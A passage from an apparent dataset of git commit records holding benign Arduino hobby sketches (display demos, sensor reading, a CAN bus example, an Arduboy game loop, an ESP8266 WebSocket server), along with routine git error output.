proguram\n","repos":"h-nari\/Humblesoft_ILI9341","old_file":"examples\/textBounds\/textBounds.ino","new_file":"examples\/textBounds\/textBounds.ino","new_contents":"#include \"Adafruit_GFX.h\"\n#include \"Adafruit_ILI9341.h\"\n#include \"Humblesoft_ILI9341.h\"\n\n\nIMPORT_BIN(\"fontx\/ILGH16XB.FNT\", font_h);\nIMPORT_BIN(\"fontx\/ILGZ16XB.FNT\", font_z);\n\nextern uint8_t font_h[], font_z[];\n\nHumblesoft_ILI9341 tft = Humblesoft_ILI9341();\n\nstatic void dump_var(const char *name, uint32_t value)\n{\n Serial.print(name);\n Serial.print(\"=0x\");\n Serial.print(value,16);\n Serial.println();\n}\n\nvoid drawTextAndBounds(int16_t cx, int16_t cy, char *str)\n{\n int16_t x, y;\n uint16_t w, h;\n\n tft.getTextBounds(str, cx, cy, &x, &y, &w, &h);\n dump_var(\"x\",x);\n dump_var(\"y\",y);\n dump_var(\"w\",w);\n dump_var(\"h\",h);\n\n tft.drawRect(x, y, w, h, ILI9341_RED);\n tft.setCursor(cx, cy);\n tft.print(str);\n}\n\nvoid drawTextAndBounds(int16_t cx, int16_t cy, const __FlashStringHelper *s)\n{\n int16_t x, y;\n uint16_t w, h;\n\n tft.getTextBounds(s, cx, cy, &x, &y, &w, &h);\n dump_var(\"x\",x);\n dump_var(\"y\",y);\n dump_var(\"w\",w);\n dump_var(\"h\",h);\n\n tft.drawRect(x, y, w, h, ILI9341_GREEN);\n tft.setCursor(cx, cy);\n tft.print(s);\n}\n\nvoid setup()\n{\n char s1[]=\"ABC\";\n char k1[]=\"\u65e5\u672c\u8a9e\";\n \n Serial.begin(19200);\n delay(100);\n Serial.println(\"\\n\\nReset:\");\n \n tft.begin();\n tft.setRotation(3);\n tft.fillScreen(ILI9341_BLACK);\n#if 1\n tft.setTextSize(4);\n drawTextAndBounds(5, 10, s1);\n\n tft.setTextSize(2);\n drawTextAndBounds(5, 50, F(\"Hello\\nWorld\"));\n \n tft.setFontx(font_z, font_h);\n tft.setTextSize(2);\n drawTextAndBounds(160,10, F(\"\u6f22\u5b57\"));\n\n drawTextAndBounds(160,40, k1);\n\n tft.setTextSize(0);\n drawTextAndBounds(0,100, F(\"1\u884c\u76ee\\n\uff12\u884c\u76ee\"));\n\n drawTextAndBounds(160,160, F(\"line wrap test. Very long line.\"));\n#else\n tft.setFontx(font_z, font_h);\n drawTextAndBounds(300,160, F(\"abcd\"));\n#endif\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/textBounds\/textBounds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80fd71826d352b0d23c576d575e9b31b79b8e1f2","subject":"Basic example to build on for UART","message":"Basic example to build on for UART\n\nUses the serial communication library for arduino, initializes UART,\nreads from the UNO's ADC and sets PWM output a well.\n","repos":"silentsight\/cansat,silentsight\/cansat,silentsight\/cansat","old_file":"APP\/AnalogInOutSerial\/AnalogInOutSerial.ino","new_file":"APP\/AnalogInOutSerial\/AnalogInOutSerial.ino","new_contents":"\/*\n Analog input, analog output, serial output\n \n Reads an analog input pin, maps the result to a range from 0 to 255\n and uses the result to set the pulsewidth modulation (PWM) of an output pin.\n Also prints the results to the serial monitor.\n \n The circuit:\n * potentiometer connected to analog pin 0.\n Center pin of the potentiometer goes to the analog pin.\n side pins of the potentiometer go to +5V and ground\n * LED connected from digital pin 9 to ground\n \n created 29 Dec. 2008\n modified 9 Apr 2012\n by Tom Igoe\n \n This example code is in the public domain.\n \n *\/\n\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used:\nconst int analogInPin = A0; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogOutPin = 9; \/\/ Analog output pin that the LED is attached to\n\nint sensorValue = 0; \/\/ value read from the pot\nint outputValue = 0; \/\/ value output to the PWM (analog out)\n\nvoid setup() {\n \/\/ initialize serial communications at 9600 bps:\n Serial.begin(9600); \n}\n\nvoid loop() {\n \/\/ read the analog in value:\n sensorValue = analogRead(analogInPin); \n \/\/ map it to the range of the analog out:\n outputValue = map(sensorValue, 0, 1023, 0, 255); \n \/\/ change the analog out value:\n analogWrite(analogOutPin, outputValue); \n\n \/\/ print the results to the serial monitor:\n Serial.print(\"sensor = \" ); \n Serial.print(sensorValue); \n Serial.print(\"\\t output = \"); \n Serial.println(outputValue); \n\n \/\/ wait 2 milliseconds before the next loop\n \/\/ for the analog-to-digital converter to settle\n \/\/ after the last reading:\n delay(2); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'APP\/AnalogInOutSerial\/AnalogInOutSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"348c714b67fafc962ccc0529fca2d12e8e73467a","subject":"Arduino Files","message":"Arduino Files\n\npiServo.ino\n","repos":"ThermoNuclearPanda\/Project_Automail","old_file":"Arduino Files\/piServo.ino","new_file":"Arduino Files\/piServo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Files\/piServo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"694c426e90251b4dc7cac10367ae81107bec274d","subject":"move variable types into for loops","message":"move variable types into for loops\n","repos":"kdomen\/Morse-Code","old_file":"Morse-Code\/morse-code.ino","new_file":"Morse-Code\/morse-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"25a8b0993f42b8ad5efb3829c80386d334e7c9f8","subject":"Rearrange some code. Don't kill interrupts. Try to get better wind speed.","message":"Rearrange some code. Don't kill interrupts. Try to get better wind speed.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"1e395341ba675af157ac46ad7e9f964e5ffddf01","subject":"Arduino File","message":"Arduino File\n\nAddition, not required but useful to someone implementing this\nframework. Also fixed a typecast error in the C#\n","repos":"DarrenCattle\/DarrenCursorMulti","old_file":"SerialCharge.ino","new_file":"SerialCharge.ino","new_contents":"const int R1 = 3;\nconst int R2 = 5;\nconst int R3 = 6;\nconst int G1 = 9;\nconst int G2 = 10;\nconst int G3 = 11;\nconst int led = 13;\nconst int AIA = 7;\nconst int AIB = 8;\n\nvoid setup() {\n Serial.begin(9600); \/\/ set serial speed\n pinMode(led, OUTPUT);\n pinMode(AIA, OUTPUT);\n pinMode(AIB, OUTPUT);\n pinMode(R1, OUTPUT);\n pinMode(R2, OUTPUT);\n pinMode(R3, OUTPUT);\n pinMode(G1, OUTPUT);\n pinMode(G2, OUTPUT);\n pinMode(G3, OUTPUT);\n digitalWrite(led, LOW); \/\/turn off LED\n digitalWrite(AIA, LOW);\n digitalWrite(AIB, LOW); \/\/hold glass\n}\n\nvoid VoltageOn() {\n analogWrite(R1, 160);\n analogWrite(R2, 160);\n analogWrite(R3, 160);\n analogWrite(G1, 160);\n analogWrite(G2, 160);\n analogWrite(G3, 160);\n}\n\nvoid VoltageOff() {\n analogWrite(R1, 0);\n analogWrite(R2, 0);\n analogWrite(R3, 0);\n analogWrite(G1, 0);\n analogWrite(G2, 0);\n analogWrite(G3, 0);\n}\n\nvoid loop(){\n while (Serial.available() == 0); \/\/ do nothing if nothing sent\n int val = Serial.read() - '0'; \/\/ deduct ascii value of '0' to find numeric value of sent number\n \n switch (val) \n {\n case 0:\n VoltageOff();\n digitalWrite(led, LOW); \/\/ turn off LED\n digitalWrite(AIA, LOW); \/\/ discharge glass\n digitalWrite(AIB, LOW);\n break;\n case 1:\n VoltageOn();\n digitalWrite(led, HIGH); \/\/ turn on LED\n digitalWrite(AIA, HIGH); \/\/ charge glass\n digitalWrite(AIB, LOW);\n break;\n case 2:\n VoltageOff();\n digitalWrite(led, LOW); \/\/ turn off LED\n digitalWrite(AIA, HIGH); \/\/ discharge glass\n digitalWrite(AIB, HIGH);\n break;\n case 3:\n VoltageOn();\n digitalWrite(led, HIGH); \/\/ turn off LED\n digitalWrite(AIA, LOW); \/\/ discharge glass\n digitalWrite(AIB, HIGH);\n break;\n case 4:\n VoltageOff();\n digitalWrite(led, LOW); \/\/ turn off LED\n digitalWrite(AIA, LOW); \/\/ discharge glass\n digitalWrite(AIB, LOW);\n break;\n }\n Serial.flush(); \/\/ clear serial port\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialCharge.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"294383d76cd123bdfdfa16a58527082a38208e2d","subject":"Add arduino example","message":"Add arduino example\n","repos":"jnod\/mcp2515_lib,jnod\/mcp2515_lib","old_file":"examples\/arduino_can\/arduino_can.ino","new_file":"examples\/arduino_can\/arduino_can.ino","new_contents":"#include <SPI.h>\n#include <mcp2515.h>\n\nstatic can_message_t can_message;\n\nvoid spi_transfer_mcp2515(uint8_t *buf, uint8_t len) {\n SPI.transfer(buf, len);\n}\n\nvoid print_can_message(can_message_t message) {\n Serial.println(message.mtype, HEX);\n Serial.println(message.std_id, DEC);\n Serial.println(message.ext_id, DEC);\n Serial.println(message.length, DEC);\n}\n\nvoid setup() {\n can_message = {MTYPE_EXTENDED_DATA, 5, 6, 2, {1,2}};\n pinMode(9, INPUT);\n \n Serial.begin(115200);\n Serial.println(\"Start Serial\");\n \n delay(50);\n \n config_interrupts(0x03);\n config_timing(CNF1_10MHZ_125KBIT, CNF2_10MHZ_125KBIT, CNF3_10MHZ_125KBIT);\n config_receive_ctrl(0x60, 0x60);\n set_mode(MODE_LOOPBACK);\n}\n\nvoid loop() {\n if (!digitalRead(9)) {\n Serial.println(\"Interrupt\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino_can\/arduino_can.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6c37f921ad7bd3733056a50d2573f743dd8d1dbe","subject":"How about snowflakes, based on NanoEngine1?","message":"How about snowflakes, based on NanoEngine1?","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"examples\/snowflakes8\/snowflakes8.ino","new_file":"examples\/snowflakes8\/snowflakes8.ino","new_contents":"\/*\r\n MIT License\r\n\r\n Copyright (c) 2018, Alexey Dynda\r\n\r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n\r\n The above copyright notice and this permission notice shall be included in all\r\n copies or substantial portions of the Software.\r\n\r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n SOFTWARE.\r\n*\/\r\n\/**\r\n * Attiny85 PINS\r\n * ____\r\n * RESET -|_| |- 3V\r\n * SCL (3) -| |- (2)\r\n * SDA (4) -| |- (1)\r\n * GND -|____|- (0)\r\n *\r\n * Attiny85 I2C PINS: see picture above\r\n * Digispark I2C PINS: D0\/D2\r\n * Atmega328 I2C PINS: connect LCD to A4\/A5\r\n * ESP8266 I2C PINS: GPIO4\/GPIO5\r\n * ESP32 I2C PINS: 21\/22\r\n *\/\r\n\r\n#include \"ssd1306.h\"\r\n#include \"nano_engine.h\"\r\n\r\ntypedef struct\r\n{\r\n const uint8_t * bitmap;\r\n int16_t x;\r\n int16_t y;\r\n int16_t speedX;\r\n int16_t speedY;\r\n uint8_t timer;\r\n bool falling;\r\n} SnowFlake;\r\n\r\n\/* \r\n * Define snowflake images directly in flash memory.\r\n * This reduces SRAM consumption.\r\n * The image is defined from bottom to top (bits), from left to right (bytes).\r\n *\/\r\nconst PROGMEM uint8_t snowFlakeImage[8][8] =\r\n{\r\n {\r\n 0B00111000,\r\n 0B01010100,\r\n 0B10010010,\r\n 0B11111110,\r\n 0B10010010,\r\n 0B01010100,\r\n 0B00111000,\r\n 0B00000000\r\n },\r\n {\r\n 0B00010000,\r\n 0B01010100,\r\n 0B00111000,\r\n 0B11101110,\r\n 0B00111000,\r\n 0B01010100,\r\n 0B00010000,\r\n 0B00000000\r\n },\r\n {\r\n 0B00111000,\r\n 0B00010000,\r\n 0B10111010,\r\n 0B11101110,\r\n 0B10111010,\r\n 0B00010000,\r\n 0B00111000,\r\n 0B00000000\r\n },\r\n {\r\n 0B00011000,\r\n 0B01011010,\r\n 0B00100100,\r\n 0B11011011,\r\n 0B11011011,\r\n 0B00100100,\r\n 0B01011010,\r\n 0B00011000\r\n },\r\n {\r\n 0B00010000,\r\n 0B00111000,\r\n 0B01010100,\r\n 0B11101110,\r\n 0B01010100,\r\n 0B00111000,\r\n 0B00010000,\r\n 0B00000000\r\n },\r\n {\r\n 0B10000010,\r\n 0B00101000,\r\n 0B01101100,\r\n 0B00010000,\r\n 0B01101100,\r\n 0B00101000,\r\n 0B10000010,\r\n 0B00000000\r\n },\r\n {\r\n 0B01000100,\r\n 0B10101010,\r\n 0B01101100,\r\n 0B00010000,\r\n 0B01101100,\r\n 0B10101010,\r\n 0B01000100,\r\n 0B00000000\r\n },\r\n {\r\n 0B00101000,\r\n 0B01010100,\r\n 0B10111010,\r\n 0B01101100,\r\n 0B10111010,\r\n 0B01010100,\r\n 0B00101000,\r\n 0B00000000\r\n },\r\n};\r\n\r\n\r\nNanoEngine1 engine;\r\n\r\nstatic const uint8_t maxCount = 16;\r\n\r\n\/* These are our snow flakes *\/\r\nSnowFlake snowFlakes[maxCount] = { {0} };\r\n\r\nbool onDraw()\r\n{\r\n engine.canvas.clear();\r\n for (uint8_t i=0; i<maxCount; i++)\r\n {\r\n if (snowFlakes[i].falling)\r\n {\r\n engine.canvas.drawBitmap1(snowFlakes[i].x>>3, snowFlakes[i].y>>3, 8, 8,snowFlakes[i].bitmap);\r\n }\r\n }\r\n return true;\r\n}\r\n\r\nvoid setup()\r\n{\r\n \/* Do not init Wire library for Attiny controllers *\/\r\n ssd1306_128x64_i2c_init();\r\n\r\n engine.setFrameRate( 30 );\r\n engine.begin();\r\n engine.drawCallback( onDraw );\r\n\r\n engine.canvas.setMode(CANVAS_MODE_TRANSPARENT);\r\n engine.refresh();\r\n}\r\n\r\nvoid addSnowFlake()\r\n{\r\n for (uint8_t i=0; i<maxCount; i++)\r\n {\r\n if (!snowFlakes[i].falling)\r\n {\r\n \/* We found empty slot, use it for new snowflake *\/\r\n \/* Create new sprite with new snowflake image. Just put it for now to fixed place *\/\r\n snowFlakes[i].bitmap = &snowFlakeImage[random(8)][0];\r\n \/* Select horizontal position *\/\r\n snowFlakes[i].x = random(ssd1306_displayWidth() * 8);\r\n \/* Select y position. We use number multiple of 8 to make snowflake movements more smooth. *\r\n * Moving snowflake by 1 point actually means movement by 1\/8 of pixel on the display. *\/\r\n snowFlakes[i].y = -8 * 8;\r\n \/* Use some random X speed *\/\r\n snowFlakes[i].speedX = random(-16, 16);\r\n \/* Use random vertical speed *\/\r\n snowFlakes[i].speedY = random(4, 12);\r\n snowFlakes[i].falling = true;\r\n \/* After countdown timer ticks to 0, change X direction *\/\r\n snowFlakes[i].timer = random(24, 48);\r\n \/* And register new snowflake in spritepool *\/\r\n engine.refresh( snowFlakes[i].x\/8, snowFlakes[i].y\/8, (snowFlakes[i].x\/8) + 7, (snowFlakes[i].y\/8) + 7);\r\n break;\r\n }\r\n }\r\n}\r\n\r\n\r\nvoid moveSnowFlakes()\r\n{\r\n for (uint8_t i=0; i<maxCount; i++)\r\n {\r\n if (snowFlakes[i].falling)\r\n {\r\n engine.refresh( snowFlakes[i].x\/8, snowFlakes[i].y\/8, (snowFlakes[i].x\/8) + 7, (snowFlakes[i].y\/8) + 7);\r\n snowFlakes[i].x += snowFlakes[i].speedX;\r\n snowFlakes[i].y += snowFlakes[i].speedY;\r\n snowFlakes[i].timer--;\r\n if (0 == snowFlakes[i].timer)\r\n {\r\n \/* Change movement direction *\/\r\n snowFlakes[i].speedX = random(-16, 16);\r\n snowFlakes[i].timer = random(24, 48);\r\n }\r\n engine.refresh( snowFlakes[i].x\/8, snowFlakes[i].y\/8, (snowFlakes[i].x\/8) + 7, (snowFlakes[i].y\/8) + 7);\r\n if (snowFlakes[i].y >= ssd1306_displayHeight() * 8)\r\n {\r\n snowFlakes[i].falling = false;\r\n }\r\n }\r\n }\r\n}\r\n\r\n\r\nstatic uint8_t globalTimer=3;\r\n\r\nvoid loop()\r\n{\r\n if (!engine.nextFrame()) return;\r\n if (0 == (--globalTimer))\r\n {\r\n \/* Try to add new snowflake every ~ 90ms *\/\r\n globalTimer = 3;\r\n addSnowFlake();\r\n }\r\n moveSnowFlakes();\r\n engine.display();\r\n}\r\n\r\n\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/snowflakes8\/snowflakes8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3a7b3ea597e60cc2b71c113acd5e0354ce8fd180","subject":"changed the boot, so it uses less bytes","message":"changed the boot, so it uses less bytes\n","repos":"Gaveno\/ID-34-Mystic-Balloon,TEAMarg\/ID-34-Mystic-Balloon,Gaveno\/ID-34-Mystic-Balloon,TEAMarg\/ID-34-Mystic-Balloon","old_file":"MYBL_AB\/MYBL_AB.ino","new_file":"MYBL_AB\/MYBL_AB.ino","new_contents":"\/*\n Mystic Balloon: http:\/\/www.team-arg.org\/mybl-manual.html\n\n Arduboy version 1.6: http:\/\/www.team-arg.org\/mybl-downloads.html\n\n MADE by TEAM a.r.g. : http:\/\/www.team-arg.org\/more-about.html\n\n 2016 - GAVENO - CastPixel -JO3RI\n\n Game License: MIT : https:\/\/opensource.org\/licenses\/MIT\n\n*\/\n\n\/\/determine the game\n#define GAME_ID 34\n\n#include \"globals.h\"\n#include \"menu.h\"\n#include \"game.h\"\n#include \"inputs.h\"\n#include \"player.h\"\n#include \"enemies.h\"\n#include \"elements.h\"\n#include \"levels.h\"\n\n\ntypedef void (*FunctionPointer) ();\n\nconst FunctionPointer PROGMEM mainGameLoop[] = {\n stateMenuIntro,\n stateMenuMain,\n stateMenuHelp,\n stateMenuPlaySelect,\n stateMenuInfo,\n stateMenuSoundfx,\n stateGameNextLevel,\n stateGamePlaying,\n stateGamePause,\n stateGameOver,\n stateMenuPlayContinue,\n stateMenuPlayNew,\n};\n\nvoid setup()\n{\n arduboy.boot(); \/\/ begin with the boot logo en setting up the device to work\n arduboy.audio.begin();\n arduboy.bootLogoSpritesSelfMasked();\n arduboy.setFrameRate(60); \/\/ set the frame rate of the game at 60 fps\n loadSetEEPROM();\n}\n\nvoid loop() {\n if (!(arduboy.nextFrame())) return;\n if (gameState < STATE_GAME_NEXT_LEVEL && arduboy.everyXFrames(10))sparkleFrames = (++sparkleFrames) % 5;\n arduboy.pollButtons();\n arduboy.clear();\n ((FunctionPointer) pgm_read_word (&mainGameLoop[gameState]))();\n arduboy.display();\n}\n\n","old_contents":"\/*\n Mystic Balloon: http:\/\/www.team-arg.org\/mybl-manual.html\n\n Arduboy version 1.6: http:\/\/www.team-arg.org\/mybl-downloads.html\n\n MADE by TEAM a.r.g. : http:\/\/www.team-arg.org\/more-about.html\n\n 2016 - GAVENO - CastPixel -JO3RI\n\n Game License: MIT : https:\/\/opensource.org\/licenses\/MIT\n\n *\/\n\n\/\/determine the game\n#define GAME_ID 34\n\n#include \"globals.h\"\n#include \"menu.h\"\n#include \"game.h\"\n#include \"inputs.h\"\n#include \"player.h\"\n#include \"enemies.h\"\n#include \"elements.h\"\n#include \"levels.h\"\n\n\ntypedef void (*FunctionPointer) ();\n\nconst FunctionPointer PROGMEM mainGameLoop[] = {\n stateMenuIntro,\n stateMenuMain,\n stateMenuHelp,\n stateMenuPlaySelect,\n stateMenuInfo,\n stateMenuSoundfx,\n stateGameNextLevel,\n stateGamePlaying,\n stateGamePause,\n stateGameOver,\n stateMenuPlayContinue,\n stateMenuPlayNew,\n};\n\nvoid setup()\n{\n arduboy.begin();\n arduboy.setFrameRate(60); \/\/ set the frame rate of the game at 60 fps\n loadSetEEPROM();\n}\n\nvoid loop() {\n if (!(arduboy.nextFrame())) return;\n if (gameState < STATE_GAME_NEXT_LEVEL && arduboy.everyXFrames(10))sparkleFrames = (++sparkleFrames) % 5;\n arduboy.pollButtons();\n arduboy.clear();\n ((FunctionPointer) pgm_read_word (&mainGameLoop[gameState]))();\n arduboy.display();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"e623b60a7c92d1899c77469098ba56737ce15134","subject":"arduino code","message":"arduino code\n","repos":"kjwitt\/CAN-nauts","old_file":"Arduino\/Development\/sketch_nov16a\/sketch_nov16a.ino","new_file":"Arduino\/Development\/sketch_nov16a\/sketch_nov16a.ino","new_contents":"#include <OneWire.h>\n\n\/\/ OneWire DS18S20, DS18B20, DS1822 Temperature Example\n\/\/\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n\/\/\n\/\/ The DallasTemperature library can do all this work for you!\n\/\/ http:\/\/milesburton.com\/Dallas_Temperature_Control_Library\n\n#define WATER_SENSOR A0\nOneWire ds(3); \/\/ on pin 10 (a 4.7K resistor is necessary)\n\nvoid setup(void) {\n Serial.begin(9600);\n pinMode(WATER_SENSOR, INPUT);\n}\n\nvoid loop(void) {\n byte i;\n byte present = 0;\n byte type_s;\n byte data[12];\n byte addr[8];\n float celsius, fahrenheit;\n bool water;\n while(Serial.available() == 0);\n \n char incomingByte = (char)Serial.read();\n Serial.println(incomingByte);\n \n \n switch(incomingByte){\n \n case('0'): {\n if ( !ds.search(addr)) {\n \/\/Serial.println(\"No more addresses.\");\n \/\/Serial.println();\n ds.reset_search();\n delay(250);\n } \n \/\/Serial.print(\"ROM =\");\n for( i = 0; i < 8; i++) {\n \/\/ Serial.write(' ');\n \/\/Serial.print(addr[i], HEX);\n }\n \n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"bad-2\");\n return;\n }\n \/\/Serial.println();\n \n \/\/ the first ROM byte indicates which chip\n switch (addr[0]) {\n case 0x10:\n \/\/Serial.println(\" Chip = DS18S20\"); \/\/ or old DS1820\n type_s = 1;\n break;\n case 0x28:\n \/\/Serial.println(\" Chip = DS18B20\");\n type_s = 0;\n break;\n case 0x22:\n \/\/Serial.println(\" Chip = DS1822\");\n type_s = 0;\n break;\n default:\n \/\/Serial.println(\"Device is not a DS18x20 family device.\");\n return;\n } \n \n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n \n \/\/delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n \n present = ds.reset();\n ds.select(addr); \n ds.write(0xBE); \/\/ Read Scratchpad\n \n \/\/Serial.print(\" Data = \");\n \/\/Serial.print(present, HEX);\n \/\/Serial.print(\" \");\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n \/\/Serial.print(data[i], HEX);\n \/\/Serial.print(\" \");\n }\n \/\/Serial.print(\" CRC=\");\n \/\/Serial.print(OneWire::crc8(data, 8), HEX);\n \/\/Serial.println();\n \n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n celsius = (float)raw \/ 16.0;\n fahrenheit = celsius * 1.8 + 32.0;\n Serial.println(fahrenheit);\n break;\n }\n case('1'): {\n if(analogRead(WATER_SENSOR) < 200) {\n water = true;\n Serial.println(\"True\");\n }\n else {\n water = false;\n Serial.println(\"False\");\n }\n break;\n }\n \n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Development\/sketch_nov16a\/sketch_nov16a.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5668beea04fc7f6001531f0c969eafd7be7c1b8","subject":"fixed everything","message":"fixed everything\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot.ino","new_file":"motor_robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5636b02b467c1cd1718dddb38980ba8dcb8cd936","subject":"add WebSocketServerAllFunctionsDemo (WIP)","message":"add WebSocketServerAllFunctionsDemo (WIP)\n","repos":"Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets","old_file":"examples\/esp8266\/WebSocketServerAllFunctionsDemo\/WebSocketServerAllFunctionsDemo.ino","new_file":"examples\/esp8266\/WebSocketServerAllFunctionsDemo\/WebSocketServerAllFunctionsDemo.ino","new_contents":"\/*\n * WebSocketServerAllFunctionsDemo.ino\n *\n * Created on: 10.05.2018\n *\n *\/\n\n#include <Arduino.h>\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n#include <WebSocketsServer.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Hash.h>\n\n#define LED_RED 15\n#define LED_GREEN 12\n#define LED_BLUE 13\n\n#define USE_SERIAL Serial\n\n\nESP8266WiFiMulti WiFiMulti;\n\nESP8266WebServer server(80);\nWebSocketsServer webSocket = WebSocketsServer(81);\n\nvoid webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {\n\n switch(type) {\n case WStype_DISCONNECTED:\n USE_SERIAL.printf(\"[%u] Disconnected!\\n\", num);\n break;\n case WStype_CONNECTED: {\n IPAddress ip = webSocket.remoteIP(num);\n USE_SERIAL.printf(\"[%u] Connected from %d.%d.%d.%d url: %s\\n\", num, ip[0], ip[1], ip[2], ip[3], payload);\n\n \/\/ send message to client\n webSocket.sendTXT(num, \"Connected\");\n }\n break;\n case WStype_TEXT:\n USE_SERIAL.printf(\"[%u] get Text: %s\\n\", num, payload);\n\n if(payload[0] == '#') {\n \/\/ we get RGB data\n\n \/\/ decode rgb data\n uint32_t rgb = (uint32_t) strtol((const char *) &payload[1], NULL, 16);\n\n analogWrite(LED_RED, ((rgb >> 16) & 0xFF));\n analogWrite(LED_GREEN, ((rgb >> 8) & 0xFF));\n analogWrite(LED_BLUE, ((rgb >> 0) & 0xFF));\n }\n\n break;\n }\n\n}\n\nvoid setup() {\n \/\/USE_SERIAL.begin(921600);\n USE_SERIAL.begin(115200);\n\n \/\/USE_SERIAL.setDebugOutput(true);\n\n USE_SERIAL.println();\n USE_SERIAL.println();\n USE_SERIAL.println();\n\n for(uint8_t t = 4; t > 0; t--) {\n USE_SERIAL.printf(\"[SETUP] BOOT WAIT %d...\\n\", t);\n USE_SERIAL.flush();\n delay(1000);\n }\n\n pinMode(LED_RED, OUTPUT);\n pinMode(LED_GREEN, OUTPUT);\n pinMode(LED_BLUE, OUTPUT);\n\n digitalWrite(LED_RED, 1);\n digitalWrite(LED_GREEN, 1);\n digitalWrite(LED_BLUE, 1);\n\n WiFiMulti.addAP(\"SSID\", \"passpasspass\");\n\n while(WiFiMulti.run() != WL_CONNECTED) {\n delay(100);\n }\n\n \/\/ start webSocket server\n webSocket.begin();\n webSocket.onEvent(webSocketEvent);\n\n if(MDNS.begin(\"esp8266\")) {\n USE_SERIAL.println(\"MDNS responder started\");\n }\n\n \/\/ handle index\n server.on(\"\/\", []() {\n \/\/ send index.html\n server.send(200, \"text\/html\", \"<html><head><script>var connection = new WebSocket('ws:\/\/'+location.hostname+':81\/', ['arduino']);connection.onopen 